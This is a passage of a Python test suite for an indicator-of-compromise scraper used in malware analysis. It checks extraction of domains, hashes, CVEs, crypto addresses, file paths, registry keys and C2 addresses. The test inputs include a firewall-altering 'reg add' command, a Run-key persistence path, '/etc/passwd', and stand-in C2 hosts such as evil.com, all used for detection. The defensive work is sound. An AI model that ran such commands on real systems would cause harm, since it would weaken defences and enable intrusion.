    The corpus below comes from a real Vjw0rm-family screenshot showing 12
    'Domains' extracted from a JS sample of which only 2 were genuine. The
    filter must drop the 10 FPs and keep the 2 TPs.
    """

    def _scrape_fqdns(self, scraper, fragment: str):
        # Wrap each fragment in spaces so the FQDN regex's lookbehind succeeds
        # (the pre-token character is a non-identifier).
        text = f" {fragment} "
        return [
            ioc.ioc_value
            for ioc in scraper.scrape(text, SourceType.STRING, "test")
            if ioc.ioc_type == IOCType.FQDN
        ]

    def test_default_mode_keeps_legacy_behavior(self):
        """Without js_context=True the filter is dormant — every FQDN that
        the regex catches must still pass _validate_fqdn the same way it did
        before this change."""
        scraper = IOCScraper()  # js_context defaults to False
        assert self._scrape_fqdns(scraper, "process.id") == ["process.id"]
        assert self._scrape_fqdns(scraper, "lib.so") == ["lib.so"]
        assert self._scrape_fqdns(scraper, "system.net") == ["system.net"]

    def test_js_context_drops_fp_tlds(self):
        """gTLDs that double as common JS property suffixes (`.name`, `.id`,
        `.so`, `.post`, `.services`, `.tools`, ...) are rejected wholesale
        when js_context is set."""
        scraper = IOCScraper(js_context=True)
        # Each of these is in the screenshot and must be rejected purely on
        # the TLD blocklist (some also hit the SLD blocklist, but the TLD
        # check fires first).
        assert self._scrape_fqdns(scraper, "component.name") == []
        assert self._scrape_fqdns(scraper, "exploit.name") == []
        assert self._scrape_fqdns(scraper, "func.name") == []
        assert self._scrape_fqdns(scraper, "proc.name") == []
        assert self._scrape_fqdns(scraper, "process.name") == []
        assert self._scrape_fqdns(scraper, "lib.so") == []
        assert self._scrape_fqdns(scraper, "proc.id") == []
        assert self._scrape_fqdns(scraper, "http.post") == []
        assert self._scrape_fqdns(scraper, "this.sandboxindicators.services") == []

    def test_js_context_drops_fp_slds(self):
        """JS keywords / framework roots used as the leftmost segment of a
        dotted chain are rejected even when the TLD is legitimate (`system.net`
        is the canonical example: `.net` is a real TLD but `system` is never
        a hostname)."""
        scraper = IOCScraper(js_context=True)
        assert self._scrape_fqdns(scraper, "system.net") == []
        assert self._scrape_fqdns(scraper, "this.foo.com") == []
        assert self._scrape_fqdns(scraper, "process.config.json") == []
        assert self._scrape_fqdns(scraper, "vue.app") == []
        assert self._scrape_fqdns(scraper, "firebase.io") == []

    def test_js_context_preserves_real_c2(self):
        """The screenshot's two true positives must survive: protocol prefix
        SLDs (`ftp`, `smtp`) are intentionally NOT in JS_FP_SLDS so legitimate
        C2 / exfil hostnames keep flowing into the IOC table."""
        scraper = IOCScraper(js_context=True)
        assert self._scrape_fqdns(scraper, "ftp.syfrusvoid.com") == ["ftp.syfrusvoid.com"]
        assert self._scrape_fqdns(scraper, "smtp.gmail.com") == ["smtp.gmail.com"]
        # And a generic malware-style hostname (no TLD/SLD overlap with code)
        # still passes:
        assert self._scrape_fqdns(scraper, "evil-c2.example.org") == ["evil-c2.example.org"]


class TestIOCScraperOnion:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_onion(self):
        # v2 onion address (16 chars)
        text = "Connect to expyuzz4wqqyqhjn.onion"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        onion_iocs = [i for i in iocs if i.ioc_type == IOCType.ONION]
        assert len(onion_iocs) >= 1


class TestIOCScraperHashes:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_md5_hash(self):
        md5_val = "d41d8cd98f00b204e9800998ecf8427e"
        text = f"Hash: {md5_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        md5_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_MD5]
        assert len(md5_iocs) == 1

    def test_scrape_sha1_hash(self):
        sha1_val = "da39a3ee5e6b4b0d3255bfef95601890afd80709"
        text = f"Hash: {sha1_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        sha1_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA1]
        assert len(sha1_iocs) == 1

    def test_scrape_sha256_hash(self):
        sha256_val = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
        text = f"Hash: {sha256_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        sha256_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA256]
        assert len(sha256_iocs) == 1

    def test_scrape_hash_dedup(self):
        # A SHA256 match should prevent the same hex being emitted as SHA1 substring
        sha256_val = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
        text = f"Hash: {sha256_val}"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        sha256_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA256]
        sha1_iocs = [i for i in iocs if i.ioc_type == IOCType.HASH_SHA1]
        # SHA256 first 40 chars should not appear as separate SHA1
        assert len(sha256_iocs) >= 1
        first40 = sha256_val[:40]
        assert not any(ioc.ioc_value == first40 for ioc in sha1_iocs)

    def test_scrape_invalid_hash(self):
        # All zeros should be excluded
        text = "Hash: " + "0" * 32
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        hash_iocs = [i for i in iocs if i.ioc_type in (IOCType.HASH_MD5, IOCType.HASH_SHA1, IOCType.HASH_SHA256)]
        assert len(hash_iocs) == 0


class TestIOCScraperCVECWE:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_cve(self):
        text = "Exploiting CVE-2021-44228"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        cve_iocs = [i for i in iocs if i.ioc_type == IOCType.CVE]
        assert len(cve_iocs) == 1
        assert cve_iocs[0].ioc_value == "CVE-2021-44228"

    def test_scrape_cwe(self):
        text = "This is CWE-79 in action"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        cwe_iocs = [i for i in iocs if i.ioc_type == IOCType.CWE]
        assert len(cwe_iocs) == 1
        assert cwe_iocs[0].ioc_value == "CWE-79"


class TestIOCScraperCrypto:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_btc_address(self):
        # A valid-looking BTC P2PKH address
        text = "Send BTC to 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        btc_iocs = [i for i in iocs if i.ioc_type == IOCType.CRYPTO_BTC]
        assert len(btc_iocs) >= 1

    def test_scrape_eth_address(self):
        text = "ETH wallet: 0xde0B295669a9FD93d5F28D9Ec85E40f4cb697BAe"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        eth_iocs = [i for i in iocs if i.ioc_type == IOCType.CRYPTO_ETH]
        assert len(eth_iocs) >= 1


class TestIOCScraperPaths:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_linux_path(self):
        text = "Read config from /etc/passwd"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_LINUX]
        assert len(path_iocs) >= 1
        assert any("/etc/passwd" in ioc.ioc_value for ioc in path_iocs)

    def test_scrape_windows_path(self):
        text = r"Load from C:\Windows\System32\cmd.exe"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert len(path_iocs) >= 1
        assert any(r"C:\Windows\System32\cmd.exe" in ioc.ioc_value for ioc in path_iocs)

    def test_scrape_windows_path_source_escaped(self):
        """Paths embedded in JS / JSON / PowerShell string literals appear with
        doubled backslashes. The regex must accept both forms, and the stored
        IOC must be normalised so escaped and runtime forms collapse to one."""
        text = "const exclusions = ['C:\\\\Windows\\\\Temp', 'C:\\\\Users\\\\Public'];"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert len(path_iocs) >= 2
        values = {ioc.ioc_value for ioc in path_iocs}
        assert r"C:\Windows\Temp" in values
        assert r"C:\Users\Public" in values
        assert not any("\\\\" in v for v in values), f"backslashes not normalised: {values}"

    def test_scrape_windows_path_with_wildcard(self):
        """Malware commonly uses wildcard paths like the Defender-exclusion
        pattern below; `*` is a valid path component and must be preserved."""
        text = "'C:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Temp'"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(r"C:\Users\*\AppData\Local\Temp" == ioc.ioc_value for ioc in path_iocs)

    # --- Behaviour-pinning regression tests -----------------------------------
    # These lock in the trade-offs of the two-tier component grammar (strict
    # first char, permissive body in delimited segments, strict final segment,
    # colon excluded from bodies). Every one of them was a real-or-potential
    # regression while the regex was being rewritten.

    def test_path_with_internal_space(self):
        """`Program Files` is the canonical reason segment bodies must allow
        whitespace. The old regex's permissive body class was correct on this
        case; the new grammar must preserve it."""
        text = r"Path: C:\Program Files\Microsoft\app.exe"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(r"C:\Program Files\Microsoft\app.exe" == ioc.ioc_value for ioc in path_iocs)

    def test_path_with_internal_space_in_escaped_form(self):
        """The combination of source-escaping and internal whitespace is the
        case the old regex got wrong (it required single backslashes) and the
        first iteration of the new regex got wrong (it forbade whitespace
        everywhere). Both must work now."""
        text = "'C:\\\\Program Files (x86)\\\\Microsoft\\\\app.exe'"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(r"C:\Program Files (x86)\Microsoft\app.exe" == ioc.ioc_value for ioc in path_iocs)

    def test_path_stops_at_whitespace_when_no_separator_follows(self):
        """The strict final-segment class prevents prose-slurping. Critical
        because segment bodies allow whitespace — without this, every path
        followed by free text would gobble the rest of the line."""
        text = r"see c:\users\admin and other stuff"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(ioc.ioc_value == r"c:\users\admin" for ioc in path_iocs)
        assert not any("stuff" in ioc.ioc_value for ioc in path_iocs)

    def test_two_drives_separated_by_prose_match_independently(self):
        """`From C:\\one to D:\\two` must yield two IOCs, not one slurp.
        Pinned because excluding `:` from segment bodies is what enables this
        — without that exclusion, ` to D:` would be valid body of segment 1."""
        text = r"From C:\one to D:\two"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        values = {i.ioc_value for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS}
        assert r"C:\one" in values
        assert r"D:\two" in values

    def test_path_lowercase_drive(self):
        text = r"Backup at d:\backup\db.sql"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(ioc.ioc_value == r"d:\backup\db.sql" for ioc in path_iocs)

    def test_path_just_root(self):
        """Bare `C:\\` (the root of a drive) must match — Defender exclusion
        lists ship it as a literal entry."""
        text = "['C:\\\\', 'C:\\\\Windows']"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        values = {i.ioc_value for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS}
        assert "C:\\" in values
        assert r"C:\Windows" in values

    def test_drive_letter_alone_does_not_match(self):
        """`D:` with no separator following is not a path."""
        text = "Drive D: is mounted"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert path_iocs == []

    def test_trailing_punctuation_is_stripped(self):
        """`See C:\\Path\\file.txt.` — the final period is sentence
        punctuation, not part of the path. `rstrip('.,;:')` strips it."""
        text = r"See C:\Path\file.txt, and also C:\Other\file.exe."
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        values = {i.ioc_value for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS}
        assert r"C:\Path\file.txt" in values
        assert r"C:\Other\file.exe" in values


class TestIOCScraperRegistryKey:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_hklm_short_form(self):
        text = r"reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess /v EnableFirewall"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert any(r"HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" in ioc.ioc_value for ioc in reg_iocs)

    def test_scrape_hkey_long_form(self):
        text = r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert any(r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" == ioc.ioc_value for ioc in reg_iocs)

    def test_scrape_registry_source_escaped(self):
        """Same source-escaping concern as Windows paths."""
        text = "'HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\SharedAccess\\\\Parameters\\\\FirewallPolicy\\\\DomainProfile'"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert any(r"HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" == ioc.ioc_value for ioc in reg_iocs)
        assert all("\\\\" not in ioc.ioc_value for ioc in reg_iocs)

    def test_bare_hive_not_extracted(self):
        """A bare hive mention with no path component should not match — too
        common in prose ('the HKLM hive') to be useful as an IOC."""
        text = "The HKLM hive contains system-wide settings; HKCU is per-user."
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert reg_iocs == []

    def test_registry_not_classified_as_path(self):
        """HKLM\\... starts with letters not a drive-letter+colon, so the
        Windows path regex must not also match it."""
        text = r"HKLM\SYSTEM\CurrentControlSet\Services\Foo"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert path_iocs == []


class TestIOCScraperServer:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_server(self):
        text = "Connect to 185.100.87.202:8080 for C2"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        server_iocs = [i for i in iocs if i.ioc_type == IOCType.SERVER]
        assert len(server_iocs) >= 1
        assert "185.100.87.202:8080" in server_iocs[0].ioc_value


class TestIOCScraperDedup:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_dedup_within_text(self):
        text = "https://evil.com https://evil.com"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        url_iocs = [i for i in iocs if i.ioc_type == IOCType.URL]
        assert len(url_iocs) == 1

    def test_scrape_empty_text(self):
        iocs = list(self.scraper.scrape("", SourceType.STRING, "test"))
        assert len(iocs) == 0